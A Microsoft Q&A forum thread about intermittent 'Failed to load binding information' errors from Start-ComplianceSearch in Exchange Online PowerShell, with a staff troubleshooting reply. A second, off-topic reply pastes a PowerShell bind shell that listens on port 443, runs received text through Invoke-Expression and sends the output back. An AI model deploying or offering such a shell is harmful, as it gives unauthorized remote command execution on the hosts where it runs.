"Failed to load binding information" errors while using Start-ComplianceSearch in Powershell

Zach Toundas CDS 31 Reputation points
2021-06-15T15:20:26.307+00:00

I am repeatedly getting an error when I go to start a ComplianceSearch Via Powershell. Googling the error returns absolutely nothing somehow, and I have no idea where to start now.

  1. I have all the permissions. All of them. I'm a global admin.
  2. Sometimes it works.
  3. Once it throws the error, the search still gets started and will stay that way until I use Stop-ComplianceSearch. If it runs like that long enough (I have let it go for 2 days once), after stopped, the error is listed as an "internal error," but that doesn't show if stopped within the first 15 mins-1 hour.
  4. To continue after the error, I have to stop the search, restart my PC, use Set-ComplianceSearch to set the query again (it gets fully removed after the error), and start it again I want to keep searching via Powershell.
  5. Trying to start it from the O365 web console also occasionally gives me the same error after the glitch.
  6. Before 'resetting,' I can still do things like calling the details of the search via Get-ComplianceSearch, I can stop it, and I can change it via Set-ComplianceSearch.
  7. Occasionally after I stop it, if I do try to pull up details about the search I'll get an error that it can't find the search job at all, but that's less common.
  8. I am working in the ISE, but the same thing happens if I just start a standard powershell window.
  9. After asking the question on reddit, I have finally run into several people with the exact same issue (and no resolution), some report it is even more frequent than my own experience.

I am connecting via the following (I have MFA, our office is Allow Listed):

Import-Module ExchangeOnlineManagement

Connect-ExchangeOnline -UserPrincipalName *** Email address is removed for privacy ***

Connect-IPPSSession -UserPrincipalName *** Email address is removed for privacy ***

My variables are set as follows:

PS T:\> $Choice

ps_test

PS T:\> $Query

received=2021-06-02..2021-06-09 AND from:*** Email address is removed for privacy *** AND subject:'delete me'

Then I set the existing search as follows without an error (new search or existing search, though, same problem):

PS T:\> Set-ComplianceSearch -Identity $Choice -ExchangeLocation All -ContentMatchQuery $Query

But when I start it, this is the error I get:

PS T:\> Start-ComplianceSearch -Identity $Choice

Unable to execute the task. Reason: Compliance search initialization for "ps_test" failed with exception: Failed to load binding information, jobRunId: 35b07815-413d-4461-6840-08d92b4a7061, missingBindings: [PublicFolderBinding,SharePointBinding]..

    + CategoryInfo          : WriteError: (:) [], ComplianceJobTaskException

    + FullyQualifiedErrorId : [Server=BN3NAM04WS004,RequestId=e96ebcef-f43e-48af-8ce3-b7bf778d2d7b,TimeStamp=6/9/2021 1:28:17 PM] [FailureCategory=Cmdlet-ComplianceJobTaskException] 7C586E1 

   0

    + PSComputerName        : nam04b.ps.compliance.protection.outlook.com

I don't even know where to start. Any ideas?

Edit: sometimes if I follow this with trying to start a new search, it is similar but different:

PS T:\> $Choice2 = "ps_test2"

PS T:\> New-ComplianceSearch -Name $Choice2 -ExchangeLocation All -ContentMatchQuery $Query

Name     RunBy JobEndTime Status    

----     ----- ---------- ------    

ps_test2                  NotStarted

PS T:\> Start-ComplianceSearch -Identity $Choice2

The operation couldn't be performed because 'ps_test2' couldn't be found.

    + CategoryInfo          : WriteError: (:) [Start-ComplianceSearch], ManagementObjectNotFoundException

    + FullyQualifiedErrorId : [Server=BN3NAM04WS004,RequestId=60eb65cd-191b-4a52-a167-2e91fca35748,TimeStamp=6/9/2021 1:43:08 PM] [FailureCategory=Cmdlet-ManagementObjectNotFoundException]  

   F9E610B8,Microsoft.Office.ComplianceJob.Tasks.StartComplianceSearch

    + PSComputerName        : nam04b.ps.compliance.protection.outlook.com
Microsoft Exchange Online Management
Microsoft Exchange Online Management
Microsoft Exchange Online: A Microsoft email and calendaring hosted service.Management: The act or process of organizing, handling, directing or controlling something.
4,800 questions
{count} votes

2 answers

Sort by: Most helpful
  1. KyleXu-MSFT 26,296 Reputation points
    2021-06-16T08:06:11.587+00:00

    @Zach Toundas CDS

    I don't see related issue in Q&A forum so far. I also test it with my tenant, there doesn't exist issue with it:
    106143-qa-kyle-15-48-08.png

    Due to this is a random issue, I would suggest you take steps below to help us narrow down it:

    1. Try to use "Basic auth" to connect to Security & Compliance Center recently (Create search request from this mode).
    2. If this issue doesn't occur, it means it may related with the way that you connect to Security & Compliance Center. You can report this issue in GitHub.
    3. If this issue also occurs in "Basic auth", I think there may exist something wrong with your tenant, you could create a service request to Office 365 team to let them help you check from the backend.

    If there exist similar issue later in Q&A forum, I will update it here.


    If the response is helpful, please click "Accept Answer" and upvote it.
    Note: Please follow the steps in our documentation to enable e-mail notifications if you want to receive the related email notification for this thread.


  2. susanmark 1 Reputation point
    2022-08-04T22:28:39.267+00:00

    Hi there,

    I put the next code in Powershell (Windows 10) and my Linux machine is listering with netcat but the code does not work.

    I have started in the meanwhile with a Powershell course but can't find yet the solution.
    Code
    $listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443)$listener.start( )$client = $listener.AcceptTcpClient()$stream = $client.GetStream()[byte[]]$bytes = 0..65535 | ForEach-Object{0}while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (Invoke-Expression $data 2>&1 | Out-String ) $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '>' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush()}$client.Close()$listener.Stop()

    0 comments No comments

Your answer

Answers can be marked as Accepted Answers by the question author, which helps users to know the answer solved the author's problem.